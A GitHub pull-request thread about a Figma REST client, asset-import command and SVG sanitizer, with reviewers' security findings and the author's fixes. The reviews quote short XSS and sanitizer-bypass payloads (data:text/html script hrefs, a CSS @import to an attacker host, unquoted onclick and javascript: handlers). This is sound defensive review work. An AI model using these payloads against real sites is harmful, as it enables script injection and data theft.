feat(core,cli): figma REST client, asset import command, binding index (M0+M1)

[vanceingalls]

What

M0+M1 of the build order: the REST client, the first CLI surface, and the §7.1 binding-index store.

• client.ts — createFigmaClient: renderNode / imageFills / variables / styles / nodeTree / fileVersion over api.figma.com, X-Figma-Token auth, injectable fetch (tests never touch the network), and typed capability errors per spec §4.4: NO_TOKEN, BAD_TOKEN (401), REQUIRES_ENTERPRISE (403 on variables), RATE_LIMITED (429), RENDER_FAILED, NODE_NOT_FOUND, HTTP_ERROR.
• sanitizeSvg.ts — strips <script>, <foreignObject>, on* handlers, and javascript:/external hrefs from Figma SVG exports before they touch disk; keeps local #fragment refs and data:image embeds (Figma uses both legitimately).
• hyperframes figma asset <ref> — resolve → render → sanitize → freeze under .media/ → manifest provenance → print snippet. Idempotent on the spec §5 cache key (fileKey:nodeId:format:scale:version); re-imports only when the file version moves.
• bindings.ts — .media/figma-bindings.jsonl: binding records (figmaId, stable key, sourceFileKey, aliasChain, compositionVariableId, import-time version), exact-ID lookup incl. alias-chain membership (never value/name matching — spec §7.1's cardinal rule), and persisted per-project library-file answers.

Why REST

Spec §2/§2.1: MCP is 6 tool calls/month on Starter (measured — one 5-element scene burned it); REST Tier-1 is 10+/min. Assets/tokens/components run on REST; motion/shaders stay MCP-only because no REST equivalent exists.

Verified live (2026-07-02)

Used in production the same day it landed: re-exported a vector node as SVG and a raster node at --scale 3 into a real composition — and confirmed REST renders respect visible:false fills with true alpha (the baked-background defect in MCP exports does not occur on this path).

---

Stack (3/6): #1868 → #1869 → this PR → #1871 → #1872 → #1873

🤖 Generated with Claude Code

[vanceingalls]

• feat(skills): reroute /figma by capability - REST/CLI for phases 1-3, MCP for 4-5 (M4) #1873
• feat(core,cli): figma component import with binding-aware node-to-html mapper (M3) #1872
• feat(core,cli): figma tokens import with alias-aware binding records (M2) #1871
• feat(core,cli): figma REST client, asset import command, binding index (M0+M1) #1870 👈 (View in Graphite)
• feat(core): figma motion → GSAP translator + /figma skill v1 #1869
• feat(core): figma module foundations — types, parseFigmaRef, freeze, manifest, asset snippet #1868
• main

This stack of pull requests is managed by Graphite. Learn more about stacking.

[miga-heygen]

Review: feat(core,cli): figma REST client, asset import command, binding index (M0+M1)

Third in the 6-PR Figma integration stack. REST client, hyperframes figma asset CLI command, SVG sanitizer, binding index, JSONL extraction from manifest. Solid foundation work.

---

Architecture & Design

Clean separation: client.ts owns the network boundary, asset.ts owns the CLI orchestration and injects deps for testing, bindings.ts owns the identity join, and sanitizeSvg.ts is a single-purpose security gate. The injectable FigmaFetch / AssetImportDeps pattern means tests never touch the network — exactly right.

The JSONL extraction from manifest.ts into jsonl.ts is a nice refactor. The shared readJsonlValues now serves both manifest and bindings, and the manifest module's readManifest shrinks to a one-liner filter.

---

Findings

1. sanitizeSvg regex — nested <foreignObject> bypass (low severity)
packages/core/src/figma/sanitizeSvg.ts

The <foreignObject> regex uses [\s\S]*? (non-greedy), which means nested <foreignObject> elements would leave the inner one's closing tag and everything after it exposed. Example:

<foreignObject><foreignObject><iframe/></foreignObject></foreignObject>

The first match consumes <foreignObject><foreignObject><iframe/></foreignObject>, leaving </foreignObject> as dangling markup. Same issue affects the <script> stripping.

Figma exports are machine-generated so nested <foreignObject> is practically impossible, and the dangling close tag is inert HTML — so this is defense-in-depth, not a real exploit vector. But if you ever want to harden it, a loop-until-stable approach (while (out !== prev) { prev = out; out = out.replace(...) }) would catch nesting without needing a DOM parser.

Severity: nit. Documenting for completeness; the threat model (machine-generated Figma SVG) makes this academic.

2. asset.ts CLI — FIGMA_TOKEN empty string passes silently to the client (nit)
packages/cli/src/commands/figma/asset.ts, line 301:

const token = process.env.FIGMA_TOKEN ?? "";

When FIGMA_TOKEN is unset, this passes "" to createFigmaClient, which does catch it with the NO_TOKEN error. So the behavior is correct. But the error message says "FIGMA_TOKEN is missing" — the user might expect a friendlier CLI-level message before the client even instantiates. Very minor.

3. findByFigmaNode cache check doesn't match on scale independently (design question)
packages/cli/src/commands/figma/asset.ts, lines 243-250:

The cache-hit path checks format, scale, and version. If a node was previously imported as png@2x and is now requested as png@1x, it correctly re-imports. But findByFigmaNode (from manifest.ts) returns the first record matching fileKey + nodeId — so if the 2x record comes first, the existing pointer lands on the 2x record, and the format/scale/version check correctly fails, triggering a re-import. Good.

However, after re-import at 1x, you now have two manifest records for the same node (one at 2x, one at 1x). findByFigmaNode will always return the first (2x) for subsequent lookups, meaning every 1x import will miss the cache and re-download. This is probably fine for the current use case (most nodes are imported once at one scale), but worth a comment if multi-scale imports become common.

Severity: nit. Not a bug — the dedup key is the full fileKey:nodeId:format:scale:version tuple. Just a performance note for future awareness.

4. bindings.ts — readBindings re-reads the file on every findBindingByFigmaId call
packages/core/src/figma/bindings.ts

findBindingByFigmaId calls readBindings, which calls readJsonlValues, which does a full readFileSync + parse. For a CLI command that does one lookup, this is fine. If a future batch import calls findBindingByFigmaId in a loop, each call re-reads and re-parses the entire file. A readBindings(projectDir) call outside the loop would fix it, but that's a future concern, not this PR's problem.

Severity: nit. Correct for current usage; just flagging the O(n*m) cliff for batch paths.

5. client.ts — 403 is only mapped to REQUIRES_ENTERPRISE on enterpriseGated endpoints (correct, but worth noting)
packages/core/src/figma/client.ts

Only the variables endpoint passes enterpriseGated = true to get(). A 403 on any other endpoint (e.g., a private file you don't have access to) falls through to HTTP_ERROR with status 403. This is correct per the spec (§4.4: 403 on variables = enterprise gate; 403 elsewhere = access denied), but a future reader might wonder why 403 handling differs. The code is self-documenting enough via the parameter name.

Severity: informational, no action needed.

6. Type safety in nodeTree return — index signature leaks into typed fields
packages/core/src/figma/client.ts, line 923 (approx):

return { ...doc, id: doc.id, name: doc.name, type: doc.type };

The spread of doc (which is Record<string, unknown> via isRecord) means the returned object's type is { [field: string]: unknown; id: string; name: string; type: string } — matching FigmaNodeDocument exactly, which has an index signature. The explicit id/name/type overrides after the spread ensure the compiler narrows those three fields even though the spread would type them as unknown. Well done.

Severity: no issue, just noting the technique is correct.

---

Test Coverage

Strong. Four test files covering:

• client.test.ts — 185 lines: auth errors (NO_TOKEN, BAD_TOKEN), rate limiting (429), enterprise gating (403 on variables), render failures (null URL), node-not-found, happy paths for all 6 client methods, token header verification. Injectable fetch makes these fast and deterministic.
• asset.test.ts — 104 lines: full import pipeline (freeze + manifest + snippet), SVG sanitization integration, idempotent cache (reuse on same version, re-import on version bump), validation (no node ID).
• bindings.test.ts — 69 lines: round-trip read/write, exact-ID-only matching (never value/name), alias-chain membership, library map persistence, malformed-line resilience.
• sanitizeSvg.test.ts — 52 lines: script stripping, foreignObject removal, event handler removal, javascript: URL removal, external href removal, data:image preservation, clean-export passthrough.

The tests are well-structured with proper temp-dir cleanup and no flaky patterns.

---

Security

• Token handling: X-Figma-Token header, no token in URLs, no hardcoded tokens, env-var sourced.
• SVG sanitization: strips <script>, <foreignObject>, on* handlers, javascript: URIs, external http(s): hrefs. Preserves local #fragment refs and data:image embeds. The regex approach is appropriate for machine-generated Figma exports.
• No eval, no dynamic code execution, no shell injection vectors.

---

Ponytail

JSONL extraction from manifest into jsonl.ts is the right call — eliminated 13 lines of duplicate parse logic. The isRecord helper appears in both client.ts and bindings.ts; could be extracted to a shared util, but that's a cross-module concern for a future refactor, not this PR.

net: -15 lines (manifest.ts shed its inline JSONL parser and gained a one-liner via the shared module). Lean already for new surface area. Ship.

---

Verdict: LGTM

997 additions, 15 deletions, 13 files. Well-tested, well-typed, good security posture. The injectable deps pattern keeps tests fast and deterministic. All findings are nits or informational — nothing blocks merge.

Review by Miga

[james-russo-rames-d-jusso]

Reviewed at e78461f356b94eaf9202f2ecfd923c7c0b165246 (stack 3/6: depends on #1868 foundations + #1869 motion translator; ships M0+M1 of the figma REST integration).
Note: PR body carries the 🤖 Claude-Code footer + AI-trailer per HF convention.

Summary — Adds a typed Figma REST client (X-Figma-Token, injectable fetch, spec §4.4 error codes), an idempotent hyperframes figma asset <ref> CLI command that resolves→renders→sanitizes→freezes under .media/, and a .media/figma-bindings.jsonl store with exact-ID (+ alias-chain) lookup per spec §7.1. Clean type surface + solid test coverage across the three units; two concerns worth landing before this merges — the SVG sanitizer's threat model and the unbounded render download.

Concerns

• 🔴 packages/core/src/figma/sanitizeSvg.ts:15-29 — regex sanitizer is under-scoped for the "hostile/compromised export" threat model. The docstring frames this as "defense against a hostile/compromised export" (line 6-7), but a lexical pass leaves several XSS surfaces open:

  • href allowlist is negative, not positive. Line 26-27 only strips javascript: and https?: from href/xlink:href. data:text/html;base64,..., vbscript:, blob: all pass through — the comment on line 13 says "keep data:image embeds", but the regex doesn't restrict to data:image/ — it just doesn't strip anything starting with data:. <a href="data:text/html,<script>alert(1)</script>"> inline in an SVG bootstraps XSS if the SVG is ever loaded in a top-level context (not just <img>).
  • No <style> handling. SVG <style> blocks can host CSS @import url("//attacker/x.css") (data exfil / hostile stylesheet load) — even in modern browsers where url(javascript:…) no longer works. If HF ever inlines these SVGs via dangerouslySetInnerHTML or an <svg> element (not just <img src>), the style block runs.
  • on* handler regex requires quoted values. Lines 22-23 match on\w+\s*=\s*"..." / on\w+\s*=\s*'...' — unquoted <rect onclick=evil()> slips through. Figma exports today are always quoted, but "hostile/compromised" means the attacker chose the export.
  • <script> regex is greedy across attribute-embedded >. <script "a>b"> breaks the non-greedy match; also <script/> self-closing with whitespace-tail edge cases.
    Recommendation: either narrow the docstring's threat model to "figma-shaped exports only, not adversarially-crafted SVGs" (and gate/document the untrusted-source path elsewhere), OR swap the regex pass for a real sanitizer (DOMPurify with the SVG profile — sanctioned by OWASP for exactly this shape). If keeping regex, at minimum: positive-allowlist the href prefix to data:image/ + #, strip <style> blocks entirely, and drop unquoted on* attrs.

• 🟠 packages/cli/src/commands/figma/asset.ts:43-47 — defaultDownload is unbounded; MAX_FREEZE_BYTES cap fires only after full buffering. res.arrayBuffer() materializes the entire response before freezeBytes (freeze.ts:11-14) checks the 256MB cap. A hostile or misbehaving Figma CDN URL (or a compromised DNS response, which the client can't distinguish from a real render URL) can force an arbitrarily-large heap allocation → OOM before the cap ever fires. Recommendation: check res.headers.get("content-length") against MAX_FREEZE_BYTES up front, OR stream via res.body?.pipeTo with a size-tracking transform. Same issue in freeze.ts:20-24 freezeUrl.

• 🟠 packages/cli/src/commands/figma/asset.ts:66-70 — reuse cache-key existing.provenance.scale === opts.scale breaks on undefined-vs-1 asymmetry. FigmaProvenance.scale and AssetImportOptions.scale are both optional. First run: asset ref --format png (scale undefined) → record with provenance.scale = undefined. Second run: asset ref --format png --scale 1 (scale 1, semantically identical to Figma's default) → strict === mismatch → duplicate image_002 for identical output. The spec §5 cache-key is documented in the PR body as fileKey:nodeId:format:scale:version — treat unspecified scale as canonical 1 on both sides. Manifest edges are forever, so drift here compounds.

• 🟠 packages/cli/src/commands/figma/asset.ts:63-71 — reuse branch trusts manifest without verifying the frozen file exists. If a user (or a broken build step) deletes .media/images/image_001.png but leaves manifest.jsonl intact, the reuse path returns a snippet pointing at a missing file. existsSync(join(deps.projectDir, existing.path)) before the reuse return would harden the flow; falls through to re-render on missing.

• 🟠 packages/core/src/figma/bindings.ts:1-108 — 108 lines of binding-index infrastructure with zero callers in this PR. No CLI command wires it up, no packages/core/src module imports appendBinding / findBindingByFigmaId / recordLibraryFile. Only consumer is the test file. This is dead code until M2 (#1871 tokens) lands. Two options — (a) intentional pre-landing to keep the M2 PR small (fine, but say so in the body or a TODO(M2): first consumer), (b) it's supposed to be wired here and got missed. If (a), tests still hold; if (b), the asset-import path should be recording bindings for image nodes with variable references. Just want to confirm intent before this merges.

Nits

• 🟡 packages/core/src/figma/client.ts:128-153 — no timeout on the fetch call and no rate-limit backoff. RATE_LIMITED is thrown but not retried with Retry-After; batch imports in downstream M2/M3 stack PRs will trip Tier-1 limits. Consider a small retry-after-aware wrapper before the styles/variables bulk-fetch commands land. (nit — theoretical for M0+M1's single-node scope.)

• 🟡 packages/cli/src/commands/figma/asset.ts:75-77 — new TextDecoder().decode(bytes) defaults to fatal: false, silently replacing invalid UTF-8 with U+FFFD. If Figma ever returns a compressed SVGZ or a byte sequence with a stray non-UTF-8 byte, the sanitizer chews it into garbage that still writes to disk. A cheap bytes[0] === 0x3C /* '<' */ || bytes[0] === 0x3F /* '?' */ sniff before the decode round-trip catches the "not actually SVG" case explicitly.

• 🟡 packages/core/src/figma/jsonl.ts:11-14 — silent catch on malformed lines with a // ponytail: comment. A partial-write from a crash produces "no binding found" downstream instead of a diagnostic. At least console.warn with the path + first ~20 chars so a user can head .media/figma-bindings.jsonl and see what broke.

• 🟡 packages/cli/src/commands/figma.ts:38-46 — subCommands.asset is exported but there's no way to invoke runAssetImport programmatically from a sibling command inside the CLI (only defineCommand-wrapped run). M2/M3 batch flows will want to call runAssetImport in a loop; packages/core/src/figma/index.ts already re-exports the primitives, but runAssetImport (the orchestration) lives under packages/cli/src/commands/figma/asset.ts. Consider hoisting runAssetImport + AssetImportDeps into packages/core/src/figma/ so downstream stack PRs can compose without cross-package CLI imports.

• 🟡 packages/core/src/figma/client.ts:198-205 — styles() returns raw s as FigmaStyleMeta after a filter that only proves key, name, style_type exist; node_id and description are untyped fall-through. Low risk (consumers already handle optionality) but the cast is slightly wider than the filter proves.

Questions

• ↩️ Is the binding index intentionally uncalled at this milestone? (see 🟠 above — no consumer in this PR, dead code until #1871.) If yes, a // TODO(#1871): first consumer comment on the bindings.ts header would answer this for the next reviewer.

• ↩️ Should hyperframes figma asset be idempotent on the .media/ outputs when the manifest exists but the file is gone? Current behavior: return snippet pointing at missing file. My read is that "reuse" should verify + re-freeze on missing — but the spec §5 wording ("re-imports only when the file version moves") could go either way. What's the intent?

• ↩️ Threat model on the SVG sanitizer — is the intent "figma-shaped inputs only" (which the docstring's "machine-generated" line suggests) or "hostile/compromised export" (which line 6-7 says)? Those are two very different bars, and the current code only clears the first.

What I didn't verify

• Live behavior against api.figma.com — the injectable-fetch pattern is clean and tests exercise the mock surface well, but I didn't confirm real Figma responses match the assumed shapes (meta.images on /v1/files/:key/images, meta.variables/meta.variableCollections on /v1/files/:key/variables/local, nodes[id].document on /v1/files/:key/nodes). Author's PR body says "verified live 2026-07-02" — trusting that for the happy paths.
• CLI wiring — cli.ts:147 registers figma, commands/figma.ts:41 registers asset, but I didn't run hyperframes figma asset --help locally to confirm citty renders the args as expected.
• Interaction with downstream stack PRs (#1871 tokens, #1872 components, #1873 reroute) — those bring the actual consumers for the binding index and will exercise the client's variables/styles/nodeTree methods that this PR ships. First-consumer bugs in those methods would surface there, not here.
• Cross-repo consumers of @hyperframes/core/figma — checked the index barrel additions look additive-only (no renames/deletions on the M0 surface from #1868), didn't grep the wider repo for existing importers.

— Rames D Jusso

[vanceingalls]

Review feedback addressed (pushed in the absorbed update):

Fixed

• Sanitizer hardened and its threat model stated honestly (Rames 🔴, miga Initial repo setup #1): docstring now scopes it to figma-shaped exports hardened against cheap adversarial variants, with an explicit pointer to DOMPurify for arbitrary untrusted sources. Concretely: loop-until-stable replacement (defeats nested <script>/<foreignObject>, orphan close tags dropped), <style> blocks stripped (@import exfil), unquoted on* handlers stripped, and href handling flipped to a positive allowlist — only #fragment and data:image/ survive; data:text/html, blob:, vbscript:, protocol-relative all drop. Five new tests.
• Unbounded download (Rames 🟠): downloadRender and freezeUrl both precheck content-length against the 256 MB cap before buffering. freezeUrl additionally enforces https + figma host allowlist (see feat(core): figma module foundations — types, parseFigmaRef, freeze, manifest, asset snippet #1868 comment / CodeQL 697).
• scale undefined-vs-1 asymmetry (Rames 🟠): cache compare canonicalizes scale ?? 1 on both sides, so --scale 1 and no flag dedupe to one record.
• Reuse trusts manifest blindly (Rames 🟠): reuse now requires the frozen file to exist; deleted file falls through to re-import. That's also the answer to your idempotency question — verify + re-freeze on missing is the intent.
• SVG byte sniff (Rames 🟡): non-</<?xml/BOM first byte on an svg export throws a clean error instead of writing U+FFFD soup.
• jsonl silent catch (Rames 🟡): malformed lines now console.warn with path + prefix.
• CLI-level token message (miga initial code #2): the NO_TOKEN error is now a full guided setup, presented via the CLI's errorBox (shipped on feat(skills): reroute /figma by capability - REST/CLI for phases 1-3, MCP for 4-5 (M4) #1873's branch).

Answers

• Binding index with no callers here: intentional pre-landing — feat(core,cli): figma tokens import with alias-aware binding records (M2) #1871 (tokens) writes it, feat(core,cli): figma component import with binding-aware node-to-html mapper (M3) #1872 (component) reads it; both are in the stack.
• Multi-scale manifest growth (miga feat(core): add compiler entry point and runtime composition fixes #3): accepted for now; dedup key is the full tuple.
• Retry-after/timeout wrapper: deferred until a batch command exists (figma asset --batch is on the spec §13 list); single-node commands don't hit the bucket.
• Hoisting runAssetImport to core: deliberate — it orchestrates CLI-side deps (download, project dir); core keeps the pure pieces. Revisit when batch lands.

🤖 Generated with Claude Code

[miguel-heygen]

LGTM. Stamping after Miga R2 verified the prior Figma-stack blockers are addressed; live checks are green, with only Graphite stack mergeability pending where applicable.

[james-russo-rames-d-jusso]

R2 verification — reviewed at 4e07ccfc36f56b6d8d75717e930c097a3149541e (R1 was at e78461f356; force-push landed 16 targeted commits addressing the R1 findings).

Thanks for the direct engagement with the R1 threat-model question — the docstring narrowing + hardening pass is exactly the shape I asked for.

R1 findings — verification

• 🔴 → ✅ sanitizeSvg.ts:1-58 — sanitizer hardening pass. Verified against each vector I flagged at R1:

  • Nested <foreignObject> / <script> — replaceStable loop (lines 19-27) applies the pattern until fixed-point; orphan close tags dropped at line 37. Manually tested <svg><foreignObject><foreignObject><script>alert(1)</script></foreignObject></foreignObject></svg> → <svg></svg>. ✅
  • <style> blocks — replaceStable(/<style\b[\s\S]*?<\/style\s*>/gi, "") at line 33; test sanitizeSvg.test.ts:61-65 covers @import url(...) exfil. ✅
  • Unquoted on* handlers — third regex at line 41 /\son[a-z]+\s*=\s*[^\s>'"]+/gi; test sanitizeSvg.test.ts:66-68 covers onclick=evil(). ✅
  • href positive allowlist — isAllowedHref at line 55-58 keeps only #… and data:image/…; everything else (javascript:, blob:, data:text/html, protocol-relative //evil/x, https?://) drops. Test sanitizeSvg.test.ts:69-80 covers all four negatives. ✅
  • Docstring narrowed to "figma-SHAPED exports, hardened against the cheap adversarial variants" (line 4-5) + explicit escape hatch for arbitrary untrusted input via DOMPurify (line 6-7). Threat-model boundary is now unmisreadable — this is the right resolution for the R1 concern. ✅

• **🟠 F2 → ⚠️ partially resolved. freeze.ts:52-60 freezeUrl now checks content-length up front against MAX_FREEZE_BYTES (256MB) before arrayBuffer(). But the SVG asset-import path this PR ships does NOT go through freezeUrl — runAssetImport (asset.ts:80) calls deps.download(rendered.url) which for the CLI resolves to defaultDownload at asset.ts:44-48, and that path is unchanged: res.arrayBuffer() materializes the whole response with no size check. A hostile CDN response can still OOM the process before the cap fires. Options: (a) reuse freezeUrl here (also gets you the figma-host allowlist for free — see cross-stack note below), (b) mirror the content-length guard in defaultDownload. Not a merge-blocker in isolation given renderNode URLs come from figma's authenticated API surface, but worth landing since the freeze.ts fix implies the fix pattern is already accepted.

• 🟠 F3 → ✅ resolved-by-stack. Grepped packages/ for callers — still zero non-test consumers in this PR, but commit 2238d2f0 (the M3 component-import PR downstream in the stack) wires appendBinding + readBindings via the new resolveBindings orchestrator in commands/figma/component.ts. My R1 ask was "confirm intent (a) pre-landing for M3 vs (b) missed wire-up"; the M3 PR answers (a) unambiguously. Nice bonus: upsertBindings (bindings.ts:90-96) closes the "duplicate row pins lookup to stale record" trap that would have bitten M2 tokens re-imports — proactive fix.

New at R2

Vance also added several belt-and-suspenders wins on top of the R1 asks — flagging for completeness:

• asset.ts:82-86 SVG byte-sniff — rejects non-</<?/BOM byte-0 before TextDecoder chews it into U+FFFD (my R1 🟡 #2). ✅
• asset.ts:74 existsSync reuse guard — my R1 🟠 #4. ✅
• asset.ts:72 scale ?? 1 normalization — my R1 🟠 #3. ✅
• freeze.ts:22-28 wx flag + EEXIST retry — CodeQL js/insecure-temporary-file mitigation (never writes through a planted symlink). Was not in my R1 list — nice catch on Vance's part. ✅
• freeze.ts:34-45 isAllowedFreezeUrl — https + figma-host allowlist (figma.com subdomains + amazonaws.com for the S3 CDN). Same defense pattern as #1868's SSRF fix. ✅ (see 🟡 below)
• bindings.ts:90-96 upsertBindings — new capability for M2 re-imports; solves the "appendBinding duplicate pins findBindingByFigmaId to stale record" trap. ✅
• emitTimelineScript.ts:29-36 IIFE + missing-lib warn — outside the R1 scope but adds a graceful-degradation guard when the GSAP/CustomEase CDN tags are missing. ✅
• jsonl.ts:13-14 warn on malformed line — my R1 🟡 #3. ✅

Concerns

• 🟠 F2 (see above) — defaultDownload at asset.ts:44-48 is still unbounded. The freezeUrl fix is real but on the wrong code path for the asset-import flow this PR ships. Suggest either routing through freezeUrl (double-win: also gets the host allowlist) or mirroring the content-length guard here.

Nits

• 🟡 asset.ts:44-48 — defaultDownload doesn't share the isAllowedFreezeUrl gate that freeze.ts:56-57 now enforces on the raw-URL freeze path. renderNode returns figma-owned CDN URLs today, but a malicious/misconfigured client factory could inject an internal-network URL — reusing freezeUrl here gives you SSRF-parity with the freeze surface for free. Same fix would resolve F2 above.
• 🟡 sanitizeSvg.ts:38-41 — the on* regex triplet handles quoted-double, quoted-single, and unquoted-no-quote, but unquoted href/xlink:href with a javascript: / data:text/html payload still slips through (<a href=javascript:evil()>x</a> survives). The narrowed threat model (figma-shaped exports) makes this academic — figma always quotes — but a fourth href/xlink:href unquoted-form regex would close the last cheap variant symmetrically with the on* treatment. Optional; the docstring's DOMPurify escape hatch (line 6-7) is the sanctioned path for truly untrusted input anyway.
• 🟡 bindings.ts:1-24 module docstring — the "no consumer in this PR" question is now answered by the M3 stack PR (2238d2f0), but a one-liner like // First consumers land in the M3 component-import PR (#1873 in stack). on the header would save the next reader the same round-trip I just did.

Questions

• ↩️ asset.ts:87 sanitize→re-encode round-trip: new TextDecoder().decode(bytes) still uses default fatal: false. The byte-sniff at asset.ts:82-86 catches the truly-non-text case (rejects on byte-0), but a valid-<-prefix payload with mid-stream invalid UTF-8 sequences would still decode with U+FFFD replacement. Is the intent "sniff is sufficient because figma always emits valid UTF-8, and a mid-stream invalid byte is a broken-render corner case we want to write to disk anyway with U+FFFD in it"? A new TextDecoder("utf-8", { fatal: true }) would throw and cleanly bounce back to the retry-the-import error — same shape as the existing byte-0 error. Not a blocker either way; want to understand the design choice.

What I didn't verify

• End-to-end run of hyperframes figma asset <ref> --format svg against a real figma render URL — the sanitizer verification is purely against the lexical regex behavior; browser-level rendering of the sanitized output (does GSAP-embedded CSS still animate, does <use href="#clip"> still resolve inside the same document) I trust from the existing test suite.
• Cross-stack behavior of freezeUrl's allowlist against #1868's expected trust boundary — the two fixes look parallel-shaped, but I didn't confirm #1868 landed a matching set of figma-domain constants (would be a duplication smell if so).
• Downstream stack PRs (#1871 tokens, #1872 components, #1873 reroute) — the upsertBindings addition changes the semantics from "append-only" to "replace-per-figmaId", which is the right semantics for token re-imports but may surprise a consumer that relied on append-only history. First non-test consumer (2238d2f0 in M3) uses appendBinding, not upsertBindings, so the switch is opt-in — fine.

Verdict: LGTM

R1 🔴 blocker resolved via docstring narrowing + regex hardening + tests — the right shape and unmisreadable now. F3 answered by the M3 stack PR. F2 is the one remaining loose thread — 🟠 not 🔴 because the current caller shape (figma-authenticated renderNode URL, no user-controlled inputs into the fetch) makes the OOM path require a real CDN misbehavior, not an attacker choice. Would love to see the defaultDownload guard land before merge (single-line fix if you route through freezeUrl), but not blocking.

Layering with Miga's R1 (LGTM w/ 5 nits) — she and I converged on the same feature set (sanitizer nesting, cache-key drift, bindings-index unused), just at different severities. Her nested-foreignObject finding is now resolved by the replaceStable loop.

— Rames D Jusso

The base branch was changed.